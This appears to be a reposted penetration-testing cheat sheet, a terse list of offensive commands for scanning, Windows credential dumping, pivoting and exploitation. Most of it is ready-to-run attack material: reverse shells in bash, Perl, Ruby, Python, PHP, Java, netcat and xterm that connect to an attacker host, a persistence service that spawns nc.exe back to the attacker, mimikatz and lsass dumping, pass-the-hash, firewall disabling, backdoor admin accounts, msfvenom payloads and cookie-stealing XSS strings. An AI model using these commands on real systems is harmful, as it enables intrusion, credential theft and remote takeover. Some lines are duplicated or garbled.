Pentest Tips and Tricks（一）

admin

from:https://jivoi.github.io/2015/07/ ... ne&isappinstalled=0

Pentest Handy Tips and Tricks.
Other Parts

• Part 1
• Part 2
  

Nmap Full Web Vulnerable Scan

1. cd /usr/share/nmap/scripts/
   
2. wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
   
3. nmap -sS -sV --script=vulscan/vulscan.nse target
   
4. nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
   
5. nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
   
6. nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
   
7. nmap -sV --script=vuln target
   
8. nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

复制代码

Dirb Dir Bruteforce:

1. dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
   

复制代码

Nikto web server scanner

1. nikto -C all -h http://IP
   

复制代码

WordPress Scanner

1. git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
   
2. ./wpscan –url http://IP/ –enumerate p
   

复制代码

HTTP Fingerprinting

1. wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
   
2. cd httprint_301/linux/
   
3. ./httprint -h http://IP -s signatures.txt

复制代码

SKIP Fish Scanner

1. skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
   

复制代码

Nmap Ports Scan

1. 1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
   
2. 1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
   
3. 2)fargement
   
4. 3)data packed – like orginal one not scan packet
   
5. 4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
   
6. 5)nmap –source-port 53 target
   
7. nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
   
8. nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
   
9. nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
   
10. nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
    
11. nmap -sA -PN -sN target
    
12. nmap -sS -sV -T5 -F -A -O target (version detection)
    
13. nmap -sU -v target (Udp)
    
14. nmap -sU -P0 (Udp)
    
15. nmap -sC 192.168.31.10-12 (all scan default)
    

复制代码

NC Scanning

1. nc -v -w 1 target -z 1-1000
   
2. for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
   

复制代码

Unicornscan

1. us -H -msf -Iv 192.168.56.101 -p 1-65535
   
2. us -H -mU -Iv 192.168.56.101 -p 1-65535
   
3. 
   
4. -H resolve hostnames during the reporting phase
   
5. -m scan mode (sf - tcp, U - udp)
   
6. -Iv - verbose
   

复制代码

Xprobe2 OS fingerprinting

1. xprobe2 -v -p tcp:80:open IP
   

复制代码

Samba Enumeration

1. nmblookup -A target
   
2. smbclient //MOUNT/share -I target -N
   
3. rpcclient -U "" target
   
4. enum4linux target
   

复制代码

SNMP Enumeration

1. snmpget -v 1 -c public IP
   
2. snmpwalk -v 1 -c public IP
   
3. snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

复制代码

Windows Useful cmds

1. net localgroup Users
   
2. net localgroup Administrators
   
3. search dir/s *.doc
   
4. system("start cmd.exe /k $cmd")
   
5. sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
   
6. /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
   
7. mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
   
8. Procdump.exe -accepteula -ma lsass.exe lsass.dmp
   
9. mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
   
10. C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
    
11. C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
    

复制代码

PuTTY Link tunnel

1. Forward remote port to local address
   
2. plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

复制代码

Meterpreter portfwd

1. # https://www.offensive-security.com/metasploit-unleashed/portfwd/
   
2. # forward remote port to local address
   
3. meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
   
4. kali > rdesktop 127.0.0.1:3389

复制代码

Enable RDP Access

1. reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
   
2. netsh firewall set service remoteadmin enable
   
3. netsh firewall set service remotedesktop enable
   

复制代码

Turn Off Windows Firewall

1. netsh firewall set opmode disable

复制代码

Meterpreter VNC\RDP

1. a
   
2. # https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
   
3. run getgui -u admin -p 1234
   
4. run vnc -p 5043

复制代码

Add New user in Windows

1. net user test 1234 /add
   
2. net localgroup administrators test /add

复制代码

Mimikatz use

1. git clone https://github.com/gentilkiwi/mimikatz.git
   
2. privilege::debug
   
3. sekurlsa::logonPasswords full
   

复制代码

Passing the Hash

1. git clone https://github.com/byt3bl33d3r/pth-toolkit
   
2. pth-winexe -U hash //IP cmd
   
3. 
   
4. or
   
5. 
   
6. apt-get install freerdp-x11
   
7. xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
   
8. 
   
9. or
   
10. 
    
11. meterpreter > run post/windows/gather/hashdump
    
12. Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
    
13. msf > use exploit/windows/smb/psexec
    
14. msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    
15. msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
    
16. msf exploit(psexec) > exploit
    
17. meterpreter > shell

复制代码

Hashcat password cracking

1. hashcat -m 400 -a 0 hash /root/rockyou.txt

复制代码

Netcat examples

1. c:> nc -l -p 31337
   
2. #nc 192.168.0.10 31337
   
3. c:> nc -v -w 30 -p 31337 -l < secret.txt
   
4. #nc -v -w 2 192.168.0.10 31337 > secret.txt
   

复制代码

Banner grabbing with NC

1. nc 192.168.0.10 80
   
2. GET / HTTP/1.1
   
3. Host: 192.168.0.10
   
4. User-Agent: Mozilla/4.0
   
5. Referrer: www.example.com
   
6. <enter>
   
7. <enter>
   

复制代码

Window reverse shell

1. c:>nc -Lp 31337 -vv -e cmd.exe
   
2. nc 192.168.0.10 31337
   
3. c:>nc example.com 80 -e cmd.exe
   
4. nc -lp 80
   
5. 
   
6. nc -lp 31337 -e /bin/bash
   
7. nc 192.168.0.10 31337
   
8. nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
   

复制代码

Find SUID\SGID root files

1. # Find SUID root files
   
2. find / -user root -perm -4000 -print
   
3. 
   
4. # Find SGID root files:
   
5. find / -group root -perm -2000 -print
   
6. 
   
7. # Find SUID and SGID files owned by anyone:
   
8. find / -perm -4000 -o -perm -2000 -print
   
9. 
   
10. # Find files that are not owned by any user:
    
11. find / -nouser -print
    
12. 
    
13. # Find files that are not owned by any group:
    
14. find / -nogroup -print
    
15. 
    
16. # Find symlinks and what they point to:
    
17. find / -type l -ls
    

复制代码

Python shell

1. python -c 'import pty;pty.spawn("/bin/bash")'

复制代码

Python\Ruby\PHP HTTP Server

1. python2 -m SimpleHTTPServer
   
2. python3 -m http.server
   
3. ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
   
4. php -S 0.0.0.0:8888
   

复制代码

Get PIDs of process

1. fuser -nv tcp 80
   
2. fuser -k -n tcp 80

复制代码

Hydra rdp Bruteforce

1. hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
   

复制代码

Mount Remote Windows Share

1. smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
   

复制代码

Compiling Exploit in Kali

1. gcc -m32 -o output32 hello.c (32 bit)
   
2. gcc -m64 -o output hello.c (64 bit)
   

复制代码

Compiling Windows Exploits on Kali

1. wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
   
2. wine mingw-get-setup.exe
   
3. select mingw32-base
   
4. cd /root/.wine/drive_c/windows
   
5. wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
   
6. cd /root/.wine/drive_c/MinGW/bin
   
7. wine gcc -o ability.exe /tmp/exploit.c -lwsock32
   
8. wine ability.exe
   

复制代码

NASM Commands

1. nasm -f bin -o payload.bin payload.asm
   
2. nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
   

复制代码

SSH Pivoting

1. ssh -D 127.0.0.1:1080 -p 22 user@IP
   
2. Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
   
3. proxychains commands target
   

复制代码

SSH Pivoting from One Network to Another

1. ssh -D 127.0.0.1:1080 -p 22 user1@IP1
   
2. Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
   
3. proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
   
4. Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
   
5. proxychains commands target
   

复制代码

Pivoting Using metasploit

1. route add X.X.X.X 255.255.255.0 1
   
2. use auxiliary/server/socks4a
   
3. run
   
4. proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
   
5. 
   
6. or
   
7. 
   
8. # https://www.offensive-security.com/metasploit-unleashed/pivoting/
   
9. meterpreter > ipconfig
   
10. IP Address  : 10.1.13.3
    
11. meterpreter > run autoroute -s 10.1.13.0/24
    
12. meterpreter > run autoroute -p
    
13. 10.1.13.0          255.255.255.0      Session 1
    
14. meterpreter > Ctrl+Z
    
15. msf auxiliary(tcp) > use exploit/windows/smb/psexec
    
16. msf exploit(psexec) > set RHOST 10.1.13.2
    
17. msf exploit(psexec) > exploit
    
18. meterpreter > ipconfig
    
19. IP Address  : 10.1.13.2
    

复制代码

Exploit-DB search using CSV File

1. git clone https://github.com/offensive-security/exploit-database.git
   
2. cd exploit-database
   
3. ./searchsploit –u
   
4. ./searchsploit apache 2.2
   
5. ./searchsploit "Linux Kernel"
   
6. 
   
7. cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
   

复制代码

MSF Payloads

1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
   
2. msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
   
3. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
   
4. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
   

复制代码

MSF Linux Reverse Meterpreter Binary

1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
   

复制代码

MSF Reverse Shell (C Shellcode)

1. msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
   

复制代码

MSF Reverse Shell Python Script

1. msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
   

复制代码

MSF Reverse ASP Shell

1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
   

复制代码

MSF Reverse Bash Shell

1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
   

复制代码

MSF Reverse PHP Shell

1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
   
2. add <?php at the beginning
   
3. perl -i~ -0777pe's/^/<?php \n/' shell.php
   

复制代码

MSF Reverse Win Bin

1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
   

复制代码

Linux Security Commands

1. # find programs with a set uid bit
   
2. find / -uid 0 -perm -4000
   
3. 
   
4. # find things that are world writable
   
5. find / -perm -o=w
   
6. 
   
7. # find names with dots and spaces, there shouldn’t be any
   
8. find / -name " " -print
   
9. find / -name ".." -print
   
10. find / -name ". " -print
    
11. find / -name " " -print
    
12. 
    
13. # find files that are not owned by anyone
    
14. find / -nouser
    
15. 
    
16. # look for files that are unlinked
    
17. lsof +L1
    
18. 
    
19. # get information about procceses with open ports
    
20. lsof -i
    
21. 
    
22. # look for weird things in arp
    
23. arp -a
    
24. 
    
25. # look at all accounts including AD
    
26. getent passwd
    
27. 
    
28. # look at all groups and membership including AD
    
29. getent group
    
30. 
    
31. # list crontabs for all users including AD
    
32. for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
    
33. 
    
34. # generate random passwords
    
35. cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4
    
36. 
    
37. # find all immutable files, there should not be any
    
38. find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
    
39. 
    
40. # fix immutable files
    
41. chattr -i file
    

复制代码

Win Buffer Overflow Exploit Commands

1. msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
   
2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
   
3. 
   
4. COMMONLY USED BAD CHARACTERS:
   
5. \x00\x0a\x0d\x20                              For http request
   
6. \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)
   
7. 
   
8. # Useful Commands:
   
9. pattern create
   
10. pattern offset (EIP Address)
    
11. pattern offset (ESP Address)
    
12. add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
    
13. 
    
14. !pvefindaddr pattern_create 5000
    
15. !pvefindaddr suggest
    
16. !pvefindaddr modules
    
17. !pvefindaddr nosafeseh
    
18. 
    
19. !mona config -set workingfolder C:\Mona\%p
    
20. !mona config -get workingfolder
    
21. !mona mod
    
22. !mona bytearray -b "\x00\x0a"
    
23. !mona pc 5000
    
24. !mona po EIP
    
25. !mona suggest
    

复制代码

SEH - Structured Exception Handling

1. # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
   
2. !mona suggest
   
3. !mona nosafeseh
   
4. nseh="\xeb\x06\x90\x90" (next seh chain)
   
5. iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
   

复制代码

ROP (DEP)

1. # https://en.wikipedia.org/wiki/Return-oriented_programming
   
2. # https://en.wikipedia.org/wiki/Data_Execution_Prevention
   
3. !mona modules
   
4. !mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
   
5. !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
   

复制代码

ASLR - Address space layout randomization

1. # https://en.wikipedia.org/wiki/Address_space_layout_randomization
   
2. !mona noaslr
   

复制代码

EGG Hunter techniques

1. # https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
   
2. # http://www.fuzzysecurity.com/tutorials/expDev/4.html
   
3. !mona jmp -r esp
   
4. !mona egg -t lxxl
   
5. \xeb\xc4 (jump backward -60)
   
6. buff=lxxllxxl+shell
   
7. !mona egg -t 'w00t'
   

复制代码

GDB Debugger Commands

1. # Setting Breakpoint
   
2. break *_start
   
3. 
   
4. # Execute Next Instruction
   
5. next
   
6. step
   
7. n
   
8. s
   
9. 
   
10. # Continue Execution
    
11. continue
    
12. c
    
13. 
    
14. # Data
    
15. checking 'REGISTERS' and 'MEMORY'
    
16. 
    
17. # Display Register Values: (Decimal,Binary,Hex)
    
18. print /d –> Decimal
    
19. print /t –> Binary
    
20. print /x –> Hex
    
21. O/P :
    
22. (gdb) print /d $eax
    
23. $17 = 13
    
24. (gdb) print /t $eax
    
25. $18 = 1101
    
26. (gdb) print /x $eax
    
27. $19 = 0xd
    
28. (gdb)
    
29. 
    
30. # Display values of specific memory locations
    
31. command : x/nyz (Examine)
    
32. n –> Number of fields to display ==>
    
33. y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
    
34. z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
    

复制代码

BASH Reverse Shell

1. bash -i >& /dev/tcp/X.X.X.X/443 0>&1
   
2. 
   
3. exec /bin/bash 0&0 2>&0
   
4. exec /bin/bash 0&0 2>&0
   
5. 
   
6. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
   
7. 
   
8. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
   
9. 
   
10. exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
    
11. exec 5<>/dev/tcp/attackerip/4444
    
12. 
    
13. cat <&5 | while read line; do $line 2>&5 >&5; done # or:
    
14. while read line 0<&5; do $line 2>&5 >&5; done
    
15. 
    
16. /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
    
17. /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
    

复制代码

PERL Reverse Shell

1. perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
   
2. 
   
3. # for win platform
   
4. perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
   
5. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
   

复制代码

RUBY Reverse Shell

1. ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
   
2. 
   
3. # for win platform
   
4. ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
   
5. ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

复制代码

PYTHON Reverse Shell

1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
   

复制代码

PHP Reverse Shell

1. php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
   

复制代码

JAVA Reverse Shell

1. r = Runtime.getRuntime()
   
2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
   
3. p.waitFor()
   

复制代码

NETCAT Reverse Shell

1. nc -e /bin/sh attackerip 4444
   
2. nc -e /bin/sh 192.168.37.10 443
   
3. 
   
4. # If the -e option is disabled, try this
   
5. # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
   
6. /bin/sh | nc attackerip 443
   
7. rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
   
8. 
   
9. # If you have the wrong version of netcat installed, try
   
10. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

复制代码

TELNET Reverse Shell

1. # If netcat is not available or /dev/tcp
   
2. mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
   

复制代码

XTERM Reverse Shell

1. # Start an open X Server on your system (:1 – which listens on TCP port 6001)
   
2. apt-get install xnest
   
3. Xnest :1
   
4. 
   
5. # Then remember to authorise on your system the target IP to connect to you
   
6. xterm -display 127.0.0.1:1
   
7. 
   
8. # Run this INSIDE the spawned xterm on the open X Server
   
9. xhost +targetip
   
10. 
    
11. # Then on the target connect back to the your X Server
    
12. xterm -display attackerip:1
    
13. /usr/openwin/bin/xterm -display attackerip:1
    
14. or
    
15. $ DISPLAY=attackerip:0 xterm
    

复制代码

xss Cheat Codes

1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
   
2. ("< iframes > src=http://IP:PORT </ iframes >")
   
3. 
   
4. <script>document.location=http://IP:PORT</script>
   
5. 
   
6. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
   
7. 
   
8. ";!–"<XSS>=&amp;{()}
   
9. 
   
10. <IMG SRC="javascript:alert('XSS');">
    
11. <IMG SRC=javascript:alert('XSS')>
    
12. <IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
    
13. <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
    
14. 
    
15. <IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>
    
16. <IMG SRC="jav ascript:alert('XSS');">
    
17. 
    
18. perl -e 'print "<IMG SRC=javascript:alert("XSS")>";' > out
    
19. 
    
20. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
    
21. 
    
22. (">< iframes http://google.com < iframes >)
    
23. 
    
24. <BODY BACKGROUND="javascript:alert('XSS')">
    
25. <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
    
26. "><script >alert(document.cookie)</script>
    
27. %253cscript%253ealert(document.cookie)%253c/script%253e
    
28. "><s"%2b"cript>alert(document.cookie)</script>
    
29. %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
    
30. <img src=asdf onerror=alert(document.cookie)>

复制代码

SSH Over SCTP (With Socat)

1. # on remote server
   
2. # assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
   
3. $ socat SCTP-LISTEN:80,fork TCP:localhost:22
   
4. 
   
5. # localhost
   
6. # replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
   
7. $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
   
8. 
   
9. # create socks proxy
   
10. # replace username and -p port value as needed...
    
11. $ ssh -lusername localhost -D 8080 -p 1337
    

复制代码

Install Metasploit Community Edition in Kali 2.0

1. # github urls
   
2. https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
   
3. 
   
4. wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
   
5. +x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run
   
6. 
   
7. # create user
   
8. $ /opt/metasploit/createuser
   
9. [*] Please enter a username: root
   
10. [*] Creating user 'root' with password 'LsRRV[I^5' ...
    
11. 
    
12. # activate your metasploit license
    
13. https://localhost:3790
    
14. 
    
15. # update metasploite
    
16. $ /opt/metasploit/app/msfupdate
    
17. 
    
18. # use msfconsole
    
19. $ /opt/metasploit/app/msfconsole
    

复制代码